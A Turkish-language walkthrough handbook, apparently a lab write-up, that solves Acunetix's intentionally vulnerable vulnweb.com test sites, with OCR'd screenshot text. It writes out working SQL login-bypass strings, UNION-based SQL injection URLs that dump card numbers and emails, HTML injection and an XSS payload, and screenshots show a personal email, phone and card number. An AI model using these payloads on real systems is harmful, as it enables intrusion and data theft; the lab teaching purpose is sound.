**Acunetix Vulnweb Solutions Handbook** 



**TEMMUZ 2017** 

# İçindekiler

GIRIŞ	2
LAB ÇÖZÜMLERI	3
Каулакçа	

## GIRIŞ

Merhaba Dostlar,

Yazmış olduğum bu kitapta Acunetix firmasının geliştirmiş olduğu zafyet dolu web uygulaması vulnweb.com'u güvenlik testlerine tabi tutacağız. Acunetix yasal olarak sızma testlerini gerçekleştirebildiğimiz bir web uygulamasıdır. Bu uygulama üzerinden gerçek bir bilgisayar korsanıymış gibi hareket ederek hedef sisteme sızmayı çalışacağız. Ufak bir uyarı yapmak istiyorumsızma testlerimize başlamadan önce bu test ortamında gerçekleştirdiğimiz testleri, başka websitelerine gerçekleştirip zarar vermeyiniz. Yasal sorumluluk kabul etmiyorum. Bu yazıyı yıllar önce yazmıştım. Exploit-DB üzerinden değerli okurlarım ile paylşamak istedim. Name

Acuart

Acuforum

Acublog

## LAB ÇÖZÜMLERI

Lafı fazla uzatmayalım ve sızma testlerimize başlayalım isterseniz. Öncelikle web tarayıcımızdan<u>http://vulnweb.com</u> 'a giriş yapıyoryuz.

http://testasp.vulnweb.com

http://testaspnet.vulnweb.com

#### nacunetix List of vulnerable test websites for <u>Acunetix Web Vulnerability Scanner</u>. Technologies URL SecurityTweets http://testhtml5.vulnweb.com nginx, Python, Flask, CouchDB http://testphp.vulnweb.com Apache, PHP, MySQL

IIS, ASP, Microsoft SOL Server

IIS, ASP.NET, Microsoft SQL Server

Görmüş olduğunuz üzere vulnweb.com ile karşılaşıyoruz. Gözümüze ilk çarpan şey, acunetix'in logosu oluyor. Zaten başta dediğim gibi acunetix'in geliştirdiği bir zafiyetli bir websitesidir. Name bölümünde zafiyetli sitelerin isimleri yer almakta, url böümlerinde ise o sitelerin adresleri ve technologies

bölümünde ise o sitelerin kullanmış olduğu yazılım teknolojileri gözümüze çarpmaktadır.

Security I weets	Vulnerable FilmEs test website for Acunetix web vulnerability Scanner.	Login
VIEWS	Filter results	Page (
Popular		
Latest	Next	
Carousel		
Archive		
WEBSITE		
About		
Contact		
ACUNETIX		
Website		
Blog		
Facebook		
Twitter		

web.com/ and has visited this page 1 times © Acunetix Ltd. 2013

İlk sızma testimize <u>http://testhtml5.vulnweb.com/</u> adresinden başlıyoruz. Bu web sitesi Nginx, Python, Flask ve CouchDB yazılım teknolojilerini barındıran bir websitesi vulnweb.com 'da bunu görebilirsiniz. Sayfaya öncelikle göz gezdiriyoruz ve dikkatimi ilk olarak login butonu cekmekte, sizdefark ettiniz değil mi?

SecurityTweets		
Inews	Filter results	Page 0
Popular	Login ×	
Latest		
Carousel	Username	
Archive	admin	
WEBSITE:	Password	
About		
Contact		
AGUNETIX	Forgot Pwd?	
Website		
Blog		
Facebook	Login Close	
Twitter		
unknown is coming from http://vulnweb.com		
C Acunetix Ltd. 2013		

Login butonuna tıkladığımızda karşımıza görseldeki gibi bir bölüm çıkıyor. Hedef sitemizin admin paneli olsa gerek bunun bir başka açıklaması olmaz diye düşünyorum. Bu bölüm username ve password bölümlerinden oluşmakta, yani kullanıcı adı ve şifre paneli karşımıza çıkmaktadır. Kullanıcı adı default olarak yani kendiliğinden "admin" olarak geliyor. Kafamda bir şüphe daha doğuyor acaba login bypass zafiyeti olabilir mi ? Bunu öğrenmenin tek yolu test etmekten geçiyor elbette ama önce login bypass yöntemi nedir buna değinelim.

Login ByPass Nedir ? Bu yönet genellikle sql açıklı sitelerde admin paneline gönelik gerçekleştirilen birsaldırı yöntemi ve bu saldırıyı ele aldığımızda peki nasıl gerçekleşiyor ? isterseniz birlikte inceleyelim.

SecurityTweets	Vulnerable HTML5 lest website for Acunetix Web Vulnerability Scanner.	Login
	Filter results	Page 0
	Login ×	
	Username	
	admin	
	Password	
	- association and the second s	
	Forgot Pwd?	
	Login Close	
© Acunetix Ltd. 2013		

Girilen zararlı karakterlerin filtrelenmemesinden dolayı kaynaklanan bir tür açıktır. Sql Injection açığıgibi veri tabanından bilgi çekmek için kullanılan sorgular ile siteye giriş yapılır. Görselde görmüş

olduğunuz gibi 'or '=' parametresini şifre bölümüne yazıyorum. Peki bu ne anlama gelmekte ?

/login?username=admin&password=\*\*\*\*\* giriş kontorlüne sahip bir web sitesi olduğunu düşünelim. Biz bu saldırıda /login?username=admin&password=' or ''=' yazdığımız da sorguyu bozarak yeni bir kontrol veriyoruz or parametresi " veya " anlamında kullanılır böylece 1=1, '=', "='gibi durumlarda sorguyu true döndürür ve böylece hedef login panelini bypass etmiş oluyoruz.

SecurityTwee	ts Vulnerable HTML5 test website for Acunetix Web Vulner	ability Scanner.	Welcome admin   Log
IEWS	Filter results		Pagi
opular			
atest		Next	
arousel			
rchive			
/EBSITE			
bout			
ontact			
UNETIX			
ebsite			
oq			
acebook			
witter			

admin is coming from http://testhtml5.vulnweb.com/ and has visited this page 2 times © Acunetix Ltd. 2013

Görmüş olduğunuz üzere hedef sistemin kontrol paneline yetkili şifresini bilmeden sızmayı başarmışolduk. Login bypass zafiyetinin ne kadar kritik olduğunu görmüş oldunuz. Geliştiriciler zararlı karakterleri kullanıcıdan veri girişi aldığı yerlerde filtrelenmesi gerektiğini hatırlatalım ve bir sonraki güvenlik testimize geçelim.

Sıradaki sızma testimizi <u>http://testphp.vulnweb.com/</u> adresine gerçekleştireceğiz.



Acunetix Vulnweb Solutions Handbook

Görmüş olduğunuz üzere <u>testphp.vulnweb.com</u> ile karşılaşıyoruz. Gözüme şuan dikkat çekici bir şeyçarpmıyor. O yüzden de siteyi biraz daha kurcalıyorum.



Artists diye bir bölüm varmış oraya tıkladım ve böyle görseldeki gibi bir sayfa karşıma çıktı.





nacune	ix acuart		
EST and Demonstratio	n site for Acunetix Web Vulnerability Scanner		
nome   categories	artists   disclaimer   your cart   guestbook   AJAX Demo		
search art	artist: lyzae		
Browse categories			
Browse artists	Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec molestie. Sed aliquam		
our cart	sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis nulla. In hac habitasse olatea dictumst. Nulla nonummy. Cras guis libero. Cras venenatis. Aliguam		
Signup	posuere lobortis pede. Nullam fringilla urna id leo. Praesent aliquet pretium erat. Praesent		
Your profile	non odio. Pellentesque a magna a mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqui ad litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam		
Our guestbook	lacus. Mauris magna eros, semper a, tempor et, rutrum et, tortor.		
AJAX Demo			
Links Security art Fractal Explorer	Lorem ipsum doior sit amet, consecteuer adipiscing elit. Jonec molestie. Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis nulla. In hac habitasse platea dictumst. Nulla nonummy, Cras quis libero. Cras venenatis. Aliquam posuere lobortis pede. Nullam fringilla uma id leo. Praesent aliquet pretium erat. Praesent non odio. Pellentesque a magna a mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam lacus. Mauris magna eros, semper a, tempor et, rutrum et, tortor.		
	view pictures of the artist		
	comment on this artist		
About Us   Privacy Policy	Contact Us   ©2006 Acunetix Ltd		
About Us   Privacy Policy	Contact Us   @2006 Acunetix Ltd		
O testphp.vuln	Contact Us   @2006 Acunetix Ltd web.com/artists.php?artist=3'	- D	C
O testphp.vuln	I Contact Us   ©2006 Acunetix Ltd web.com/artists.php?artist=3'	- L	C
Out Us   Privacy Policy     Out Us   Privacy Policy     Out Us   testphp.vuln     Oacunet     TEST and Demonstration	I Contact Us   ©2006 Acunetix Ltd web.com/artists.php?artist=3' ix acuart site for Acunetix Web Vulnerability Scanner	× 101	C
O testphp.vuln     Contract and Demonstration     Categories	I Contact Us   ©2006 Acunetix Ltd  web.com/artists.php?artist=3*  IX OCUOTT  Is alte for Acunetix Web Vulnerability Scanner artists   disclaimer   your cart   guestbook   AJAX Demo	× 10	C
O testphp.vuln     Counct      Contact Us   @2006 Acunetix Ltd         web.com/artists.php?artist=3'         ix ccucrt         is the for Acunetix Web Vulnerability Scanner         artists [disclaimer   your cart   guestbook   AJAX Demo]         Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62	- E	C	
O testphp.vuln     Categories	I Contact Us   62006 Acunetix Ltd web.com/artists.php?artist=3' ix acuarts actists disclaimer your cart guestbook AJAX Demo Warning: mysqL fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62	- E	C
O testphp.vuln     Categories     Gearch art     go     Growse categories     rowse categories	I Contact Us   @2006 Acunetix Ltd         web.com/artists.php?artist=3'         ix oc u ort         istle for Acunetix Web Vulnerability Scanner         artists   disclaimer   your cart   guestbook   AJAX Demo         Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62	- E1	C
Our date	I Contact Us   @2006 Acunetix Ltd         web.com/artists.php?artist=3'         ix oc u crt         is site for Acunetix Web Vulnerability Scanner         artists   disclaimer   your cart   guestbook   AJAX Demo         Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62	- 12	C
O I testphp.vuln     Categories     Growse categories     Gro	I Contact Us   @2006 Acunetix Ltd         web.com/artists.php?artist=3:         IX       O C U C rf         is ate for Acunetix Web Vulnerability Scanner         artists       disclaimer         your cart       guestbook         Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62	- D	C
O testphp.vuln     O ccunet     Categories     Growse categories     Growse artists     four cart     Signup     four profile	Contact Us   @2006 Acunetix Ltd         web.com/artists.php?artist=3'         ix ocuartists         is the for Acunetix Web Vulnerability Scanner         artists       disclaimer   your cart   guestbook   AJAX Demo         Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62	∠ E2	C
O testphp.vuln     Categories     Growse categories     Growse artists     four cart     Signup     four cart     Joo     Categories     Growse categories     Growse artists     four cart     Jou     Categories     Jou     Categories     Cour profile     Dur auestbook	Contact Us   @2006 Acunetix Ltd         web.com/artists.php?artist=3'         ix actual	- E	C
O testphp.vuln     O testphp.vuln     O acunet  TEST and Demonstration  T	I Contact Us   @2006 Acunetix Ltd         web.com/artists.php?artist=3'         ix ocuart         is the for Acunetix Web Vulnerability Scanner         artists   disclaimer   your cart   guestbook   AJAX Demo         Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62	- E	C
O testphp.vuln     O testphp.vuln     O ccunet     Categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories     Towse categories	Contact Us   @2006 Acunetix Ltd         web.com/artists.php?artist=3'         ix actual	- E	C
O testphp.vuln     O testphp.vuln     O ccunet     Cacunet     Stand Demonstration     ome categories     rowse categories     rowse artists     our cart     ignup     our profile     uur guestbook     JAX Demo     inks     ecurity art     ractal Explorer	Contact Us   @2006 Acunetix Ltd         web.com/artists.php?artist=3'         ix ccucrt         is ite for Acunetix Web Vulnerability Scanner         artists       disclaimer   your cart   guestbook   AJAX Demo         Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62	- E	C
O testphp.vuln     CCUNET     CCUNET     CCUNET     CCUNET     Categories     rowse categories     rowse categories     rowse artists     our cart     ignup     our profile     Dur guestbook     JAX Demo     inks     ecurity art     ractal Explorer	Contact Us   @2006 Acunetix Ltd         web.com/artists.php?artist=3'         ix ccucrt         is ite for Acunetix Web Vulnerability Scanner         artists       disclaimer   your cart   guestbook   AJAX Demo         Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62	- E	C

Hedef sistemde ?artists=1, ?artists=2 ve ?artists=3 diye sorgu çalıştırabiliyormuyum diye test ediyorum. Görüldüğü üzere gönderdiğim id değerlerine göre sayfa değişiyor. Hedef sitenin url

kısmına **?artists=1**' yazıyorum ve herhangi bir sql hatası almıyorum ve burdan şunu çıkartıyorum. Yazmış olduğum sql sorgusu hedef sistemdeki sorguyu bozmakta ve hata vermekte burdan yola çıkarak aşağıdaki sql sorgusu ile veritabanından bilgi çekmeye çalışıyorum.

Hedef siteyi istismar edicek olan sql sorgusu :

```
http://testphp.vulnweb.com/artists.php?artist=-1 union all SELECT
1,2,concat(table_name,' | ',column_name) FROM
information_schema.columns where table_schema !='mysql ' and
table_schema !='information_schema' --
```

( Itestphp.vuln	web.com/artists.php?artist=-3 union all SELECT 1,2,concat(table_name,' ',column_name) FROM informatio	ņ	G
nacune	tix acuart		
TEST and Demonstratio	n site for Acunetix Web Vulnerability Scanner		
home categories	artists disclaimer your cart guestbook AJAX Demo		
search art	artist: 2		
Browse categories	artists   artist_id		
Browse artists			
Your cart	view pictures of the artist		
Signup	comment on this artist		
Your profile	comment on this artist		
Our guestbook			
AJAX Demo			
Links Security art Fractal Explorer			
About Us   Privacy Policy	Contact Us   ©2006 Acunetix Ltd		

Görmüş olduğunuz üze Görmüş olduğunuz üzere veritanındakire veritanındaki kolon isimlerini çekmeyi başardık.



Hedef siteyi istismar edicek olan sql sorgusu : http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,version(),current\_user()

(i) testphp.vulr	web.com/artists.php?artist=-1 union all SELECT 1,2,concat(table_name,'   ',column_name) FROM informatio	Ŭ	G
TEST and Demonstratio	on site for Acunetix Web Vulnerability Scanner		
home categories	artists disclaimer your cart guestbook AJAX Demo		
search art	artist: 2		
Browse categories	users   uname		
Browse artists			
Your cart	view pictures of the artist		
Signup	commont on this actist		
Your profile	comment on this artist		
Our guestbook			
AJAX Demo			
Links Security art Fractal Explorer			
About Us   Privacy Policy	Contact Us   ©2006 Acunetix Ltd		

Hedef siteyi istismar edicek olan sql sorgusu :

http://testphp.vulnweb.com/artists.php?artist=-1 union all SELECT 1,2,concat(table\_name,' | ',column\_name) FROM information\_schema.columns where table\_schema !='mysql ' and table\_schema !='information\_schema' and table\_name not in ('artists','carts', 'categ', 'featured', 'guestbook', 'pictures', 'products') –

( i testphp.vuln	web.com/artists.php?artist=-1 union select 1,group_concat(cc),3 from	i users	C C
nacune	tix acuart		
TEST and Demonstratio	n site for Acunetix Web Vulnerability Scanner		
home   categories	artists   disclaimer   your cart   guestbook   AJAX Demo	Logout test	
search art	artist: 5892-8300-8503-2894		
Browse categories	3		
Browse artists	view pictures of the artist		
Your cart	New perdices of the artist		
Signup	comment on this artist		
Your profile			
Our guestbook			
AJAX Demo			
Logout			
Links Security art Fractal Explorer			
About Us   Privacy Policy	[ Contact Us [ @2006 Acunetix Ltd		

Kullanıcının kart numarasını istismar edicek olan sql sorgusu :

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group\_concat(cc),3 from users

• (1) testphp.vuln	web.com/artists.php?artist=-1 union select 1,group_concat(email),3 from users	CJ C
TEST and Demonstratio	n site for Acunetix Web Vulnerability Scanner	
home   categories	artists   disclaimer   your cart   guestbook   AJAX Demo Logout test	
search art go Browse categories Browse artists Your cart Signup	artist: ismailtasdelen@gmail.com 3 view pictures of the artist comment on this artist	
Our guestbook AJAX Demo Logout		
Links Security art Fractal Explorer		
About Us   Privacy Policy	Contact Us   @2006 Acunetix Ltd	

Kullanıcının email iletişim bilgisini istismar edecek olan sql sorgusu : http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group\_concat(email),3 from users --



Hedef sistemdeki kullanıcı şifre ve parolayı siteyi istismar edicek olan sql sorgusu :



Hedef sistemin veritabanından kullanıcı adı ve şifreyi çektiğimize göre şimdi sırada control panelinegiriş yapmak olucaktır.

🗲 🛈 🔏 🛛 testphp.v	/ulnweb.com/login.php	- C	G
acune	tix acuart		
TEST and Demonstratio	on site for Acunetix Web Vulnerability Scanner		
home categories	artists   disclaimer   your cart   guestbook   AJAX Demo		
search art	If you are already registered please enter your login information below:		
Browse categories	Username : test		
Browse artists	Password : ••••		
Your cart	login		
Signup			
Your profile	You can also signup here.		
Our guestbook	Signup disabled. I lease use the userhame test and the password test.		
AJAX Demo			
Links Security art Fractal Explorer			
About Us   Privacy Policy	Contact Us   @2006 Acunetix Ltd		

Veritabanında çektiğimiz veriye göre kullanıcı adı : test ve kullanıcı şifresi : test olarak bulmuştuk. Bubilgiler ile hedef sistemin kontrol paneline giriş yapıyoruz.

nacunet	ix acuar	-ti		
TEST and Demonstratio	n site for Acunetix Web V	ulnerability Scanner		
nome   categories	artists   disclaimer   y	our cart   guestbook   AJAX Demo	Logout test	
search art	İsmail Taşdele	n (test)		
go				
Browse categories	On this page you can	visualize or edit you user information.		
Browse artists				
Your cart	Name			
Signup	Ivanie.	İsmail Taşdelen		
Your profile	Credit card number:	5892-8300-8503-2829		
Our guestbook	E-Mail:	ismailtasdelen@gmail.com		
AJAX Demo	Phone number:			
ogout	T none number.	+905342959431		
L <b>inks</b> Security art Fractal Explorer	Address:	Istanbul / Turkey		
		update		
	March 1997			
	rou have 1 items in y	our cart. You visualize you cart here.		

Görselde görmüş olduğunuz üzere kullanıcı bilgilerini değiştirmiş olduk. Evet siteyi ele geçirdik ama ben biraz daha uğraşmak istiyorum başka açık var mı yok mu diye birazda daha kurcalıyorum siteyive hedef sitenin ziyaretçi defteri ile karşılaşıyorum.

( il testphp.vulnw	<b>veb.com</b> /guestbook.php	C C
nacuneti	ix acuart	
TEST and Demonstration	ı site for Acunetix Web Vulnerability Scanner	
home   categories   a	artists   disclaimer   your cart   guestbook   AJAX Demo Logout test	
search art	Our guestbook	
Browse categories Browse artists Your cart Signup Your profile Our guestbook	test         07.03.2017, 7:56 am           Image: Constraint of the second se	
Logout Links Security art Fractal Explorer	add message	
About Us   Privacy Policy	Contact Us   ©2006 Acunetix Ltd	

Ve yine aklıma bir açık türü geliyor geliyor "html injection" diyorum içimden ve html komutları iledenemeler gerçekleştiriyorum.

Peki html injection ne nasıl bir zafiyet ?

Hedef sistemde html kodları çalıştırabileceğiniz bir zafiyet bu zafiyetten faydalanarak siteyi bozabilirve istediğimiz gibi istismar edebiliriz örnekler ile daha iyi anlaşılacağını düşünüyorum bu zafiyetin o halde istismar edelim bu zafiyeti isterseniz.

C U   testphp.vuln	(i) testphp.vulnweb.com/guestbook.php		
acunet	ix acuart		
TEST and Demonstration	site for Acunetix Web Vulnerability Scanner		
home   categories   a	artists   disclaimer   your cart   guestbook   AJAX Demo Logout test		
search art	Our guestbook		
go	test 07.03.2017, 8:22 am		
Browse categories			
Browse artists			
Your cart	<input type="text"/>		
Signup	<input type="submit"/>		
Your profile			
Our guestbook			
AJAX Demo	h.		
Logout	add message		
Links			
Security art			
Fractal Explorer			
Fractal Explorer			

Görmüş olduğunuz üzere ziyaretçi defterine basit html komutları yazıyorum.

<input type="text"> <input type="submit">

• U testphp.vuln	web.com/guestbook.pl	np		¢
nacune	ix acua	rt		
TEST and Demonstratio	n site for Acunetix Web	/ulnerability Scanner		
home   categories	artists   disclaimer	your cart   guestbook   AJAX Den	no Logout test	
search art	Our guestbook			
go	test		07.03.2017, 7:58 am	
Browse categories				
Browse artists		Sorguyu gönder		
Your cart				
Signup				
Your profile				
Our guestbook				
AJAX Demo			.il	
Logout	add message			
<b>Links</b> Security art Fractal Explorer				
About Us   Privacy Policy	Contact Us 1 @2006 Actu	netix I td		

Add message dediğimde yani mesajı ekle dediğimde ziyaretçi defterine veri girişi yapabileceğim bir metin kutusu yani textbox ve veriyi göndermem için bir submit butonu eklemiş oldum. Normal şartlarda hedef site üzerine düşünecek olursak sadece veri girişi yani yazı bırakabiliyoruz. Bu ziyaretçi defterine, isterseniz biraz daha html komutları enjekte edelim.

( i testphp.vuln	web.com/guestbook.php	C) C
nacunet	ix acuart	
TEST and Demonstration	n site for Acunetix Web Vulnerability Scanner	
home   categories	artists   disclaimer   your cart   guestbook   AJAX Demo Logout test	
search art go Browse categories Browse artists Your cart Signup Your profile Our guestbook AJAX Demo Logout	Our guestbook         test       07.03.2017, 8:13 am         Image: Sorguyu gönder <image: gönder<="" sorguyu="" td=""> <image: gönder<="" sorguyu="" td="">              Sorguyu gönder                 /b/b4/Flag_of_Turkey.svg/125px-Flag_of_Turkey.svg.png" title="titml Injection Qmgği"&gt;        </image:></image:>	
Links Security art Fractal Explorer About Us   Privacy Policy	Contact Us   ©2006 Acunetix Ltd	

Bu sefer hedef sistemin ziyaretçi defterine html komutları çalıştırarak resim enjekte edeceğiz.

( i testphp.vuln	web.com/guestbook.php		C)
nacunet	ix acuart		
TEST and Demonstration	n site for Acunetix Web Vulnerability Sca	nner	
home   categories	artists   disclaimer   your cart   gue	estbook   AJAX Demo Logout test	
search art 90 Browse categories Browse artists Your cart Signup Your profile Our guestbook AJAX Demo Logout	Our guestbook test	07.03.2017, 8:15 am	
Links Security art Fractal Explorer	add message	÷.	
About Us   Privacy Policy	Contact Us   ©2006 Acunetix Ltd		

Başka bir siteden resim çekmek için kullandığımız basit bir html kodu :

<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/b/b4/Flag\_of\_Turkey.svg/800px-Flag\_of\_Turkey.svg.png" title="Html Injection Örneği">

acune	ix acuart		
TEST and Demonstratio	n site for Acunetix Web Vulnerability Scanner		
home   categories	artists   disclaimer   your cart   guestbook   AJAX Demo	Logout test	
search art go Browse categories Browse artists Your cart Signup Your profile Our guestbook AJAX Demo Logout	Welcome to our page Test site for Acunetix WVS.		
Links Security art			

Siteyi biraz daha kurcaladıktan sonra " search art " bölümü dikatimi geçiyor. Tahminlerimden yola çıkarak XSS ( Cross Site Scripting ) zafiyeti olabileceği konusunda düşüncem var.Peki nedir bu XSS (

Cross Site Scripting ) zafiyeti diyecek olursanız. Hedef sistemde javascript kodlarının çalıştırılmasını sağlayan bir açık türüdür. Textbox yani metin kutusu bölümüne gelip javascript komutlarıyla zayifeti istismar etmeye çalışıyorum. Önce

<script>alert(`XSS')</script> şeklinde bir javascript kodunu searchart bölümünde çalıştırıyorum yani arama işlemi yapıyorum özetle, javascript kodunu çalıştırıyorum. Kodu çalıştırdığımda hiç mesaj basmıyor ekrana, bende farklı javascript kodarını deniyorum.



ome categories artists disclaimer your cart guestbook AJAX Demo	Logout test		
searched for:			
	XSS VAR !		
	Tamam		
	Tantan		

XSS ( Cross Site Scripting ) Açığını ortaya çıkaracak olan javascript kodu :

### </title><script>alert(`XSS VAR !')</script>

Sıradaki sızma testimizi <u>http://testasp.vulnweb.com/</u> adresine gerçekleştireceğiz.

nacunetix acuforum			TEST and Demonstration site for Acunetix Web Vulnerability Scanner		
about - forums - search - login - register					
Forum	Threads	Posts	Last Post		
Acunetix Web Vulnerability Scanner Talk about Acunetix Web Vulnerability Scanner	1	1	03.07.2017 11:05:35		
Weather What weather is in your town right now	0	0			
Miscellaneous Anything crossing your mind can be posted here	0	0			
			Copyright 2005 Acumetix Ltd.		

Bizi böyle bir forum sayfası karşılamakta, bu sayfa IIS, ASP, Microsoft SQL Server teknolojilerini kullanmakta olduğunu biliyoruz. Her zaman olduğu gibi sayfayı kurcalamak ile başlıyorum. Gözümeilk çarpan şey, login ve register oluyor.

acunetix acuforum	TEST and Demonstration site for Acunetix Web Vulnerability Scanne
about - forums - search - login - register	name: word: Login

Her login ekranını gördüğümde login bypass'ı denerim. Birinci deneme, ikinci deneme, üçüncü deneme, dördüncü deneme diye gidiyor sonunda login paneli bypas edecek sql sorgusunu buluyorum.

Copyright 2005 Acunetix Ltd.

acunetix acuforum		TEST and Demonstration site for Acunetix Web Vulnerability Scanner
about - forums - search - login - register	Username: <sup>1</sup> or'a'='a Password: ••••••• Login	

Görmüş olduğunuz üzere login sayfasında bulunan username ve password girişlerine sql sorgularını yazıyorum.

Username : ` or'a'='a Pasworrd : ` or'a'='a

Cacunetix acuforum			Demonstration site for Acunetix Web Vul	nerability Scanner
about - forums - search - logout 'or'a'='a				
Forum	Threads	Posts	Last Post	
Acunetix Web Vulnerability Scanner Talk about Acunetix Web Vulnerability Scanner	3	3	03.07.2017 11:19:36	
Weather What weather is in your town right now	0	0		
Miscellaneous Anything crossing your mind can be posted here	0	0		
			C	onuright 2005 A cumativ I to

Ve görmüş olduğunuz üzere login bypass zafiyeti barındıran forum sitesine giriş yapıyorum.

acunetix acuforum	TEST and Demonstration site for Acunetix Web Vulnerability Scanner
about - forums - search - login - register	rname: admin sword: Login

Evet login bypass açığından faydalanarak başka kullanıcıların hesaplarına giriş yapıyorum. Burada olabilecek userlara giriş yapmayı düşünüyorum. ( admin, administrator veya root gibi ) Tabi bunlardışında başka userların hesaplarıda olabilir.

Username : admin Pasworrd :`or'a'='a Copyright 2005 Acunetix Ltd.

tht 2005 Ac

acuforum		TEST and D	emonstration site for Acunetix We	b Vulnerability Scanner
about - forums - search - logout admin				
Forum	Threads	Posts	Last Post	
Acunetix Web Vulnerability Scanner Talk about Acunetix Web Vulnerability Scanner	10	10	03.07.2017 13:30:06	
Weather What weather is in your town right now	1	1	03.07.2017 13:04:25	
Miscellaneous Anything crossing your mind can be posted here	1	1	03.07.2017 13:05:07	
				Copyright 2005 Acunetix Ltd.

Görmüş olduğunuz üzere admin kullanıcının hesabına erişmiş olduk.

Dilerseniz biraz daha yetkili olabilecek userlara giriş yapmayı deneyilm.

acunetix acuforum		TEST and [	Demonstration site for Acunetix Web Vuln	erability Scanner
about - forums - search - logout root				
Forum	Threads	Posts	Last Post	
Acunetix Web Vulnerability Scanner Talk about Acunetix Web Vulnerability Scanner	10	10	03.07.2017 13:30:06	
Weather What weather is in your town right now	1	1	03.07.2017 13:04:25	
Miscellaneous Anything crossing your mind can be posted here	1	1	03.07.2017 13:05:07	
			Com	wight 2005 Acumativ I to

## Username : root Pasworrd :`or'a'='a

Acunetix acuforum		TEST and D	emonstration site for Acunetix W	/eb Vulnerability Scanner
about - forums - search - logout administrator				
Forum	Threads	Posts	Last Post	
Acunetix Web Vulnerability Scanner Talk about Acunetix Web Vulnerability Scanner	10	10	03.07.2017 13:30:06	
Weather What weather is in your town right now	1	1	03.07.2017 13:04:25	
Miscellaneous Anything crossing your mind can be posted here	1	1	03.07.2017 13:05:07	
				Copyright 2005 Acumetix Ltd.
Username :				
administrator				
Pasworrd:`or'a'='a				
nacunetix acuforum		TEST and De	emonstration site for Acunetix We	eb Vulnerability Scanner
about - forums - search - logout user				

Forum	Threads	Posts	Last Post
Acunetix Web Vulnerability Scanner Talk about Acunetix Web Vulnerability Scanner	10	10	03.07.2017 13:30:06
Weather What weather is in your town right now	1	1	03.07.2017 13:04:25
Miscellaneous Anything crossing your mind can be posted here	1	1	03.07.2017 13:05:07

Copyright 2005 Acunetix Ltd.

#### Username : user Pasworrd : `or'a'='a

∩acunetix acuforum		TEST and I	Demonstration site for Acunetix Web Vulnerability Scanner
about - forums - search - logout ismailtasdelen			
Forum	Threads	Posts	Last Post
Acunetix Web Vulnerability Scanner Talk about Acunetix Web Vulnerability Scanner	10	10	03.07.2017 13:30:06
Weather What weather is in your town right now	1	1	03.07.2017 13:04:25
Miscellaneous Anything crossing your mind can be posted here	1	1	03.07.2017 13:05:07
Username : user			Copyright 2005 Acusetin Ltd.
Pasworrd :`or'a'='a			

acun	etix acuforum					TEST and	Demonstration site for Acunetix \	Web Vulnerability Scanner
about - forun	ns - search - logout admir	1						
Page Info - http://	//testasp.vulnweb.com/Default.asp?		- 🗆 ×		Threads	Posts	Last Post	
General Medi	a Permissions Security				10	10	03.07.2017 13:30:06	
Website Identity Website: to	Saved Logins			- 0	×	1	03.07.2017 13:04:25	
Owner: T Verified by: N	testasp.vulnweb.com The following logins match your se	arch:			× .	1	03.07.2017 13:05:07	
Privacy & History Have I visited th Is this website st compute? Have I saved any Technical Details <b>Connection Not</b> The website test Information sent transit.	Site	Username admin root administrator user ismailtasdelen a	Password ' or'a'='a ' or'a'='a ' or'a'='a ' or'a'='a ' or'a'='a : see while it is in	Last Changed 3 Tem 2017 3 Tem 2017 3 Tem 2017 3 Tem 2017 3 Tem 2017 3 Tem 2017 Close	rds e			Copyright 2005 Acumetic Ltd.

Yukarıda görmüş olduğunuz üzere sadece password bölümlerine **`or'a'='a** sql sorgusunu yazarakhedef sistemdeki kullanıcılara erişim sağlayabildim.

nacunetix acuforum		TEST and Der	nonstration site for Acunetix Web Vulnerability Scanner
about - forums - search - logout ismailtasdelen			
Forum	Threads	Posts	Last Post
Acunetix Web Vulnerability Scanner Talk about Acunetix Web Vulnerability Scanner	10	10	03.07.2017 13:30:06
<u>Weather</u> What weather is in your town right now	1	1	03.07.2017 13:04:25
Miscellaneous Anything crossing your mind can be posted here	1	1	03.07.2017 13:05:07

Hedef sistemde ismailtasdelen kullanıcısına login bypass yapıp oturum aldıktan sonra "Weather" bölümüne yöneliyorum.

Copyright 2005 Acunetix Ltd.

nacunetix	acuforum		TEST and Demonstration site for Acunetix Web Vulnerability Scanner
about - forums -	search - logout ismailtasde	len	
Weather			
Thread	Posts	Posted by	Last Post
1	0	admin	
test	1	anindita	03.07.2017 13:04:25
		Thread title Thread message B I U	sc ♥ ♥ ♥ ♥ I := 1= Post it

Karşıma yukarıda gördüğünüz gibi bir sayfa karşılamakta burada kullanıcından aldığı inputlara xssdeniyorum ama sonuç başarısız bende html injection denemeye karar veriyorum.

nacunetix	acuforum			TEST and Demonstration site for Acunetix Web Vulnerability Scanner
about - forums - s	earch - logout ismailtasde	len		
Weather				
Thread	Posts	Posted by	Last Post	
1	0	admin		
test	1	anindita	03.07.2017 13:04:25	
		Thread title a src="https://dunnesec.files. Thread message <a dunnesec.files.<br="" https:="">Thread message a https://dunnesec.files. B Z L</a>	wordpress.com/2014/05/acunetix-big-logo.png"> I I esc   •) (∾   ♥   ⋮ }≘ Post it	

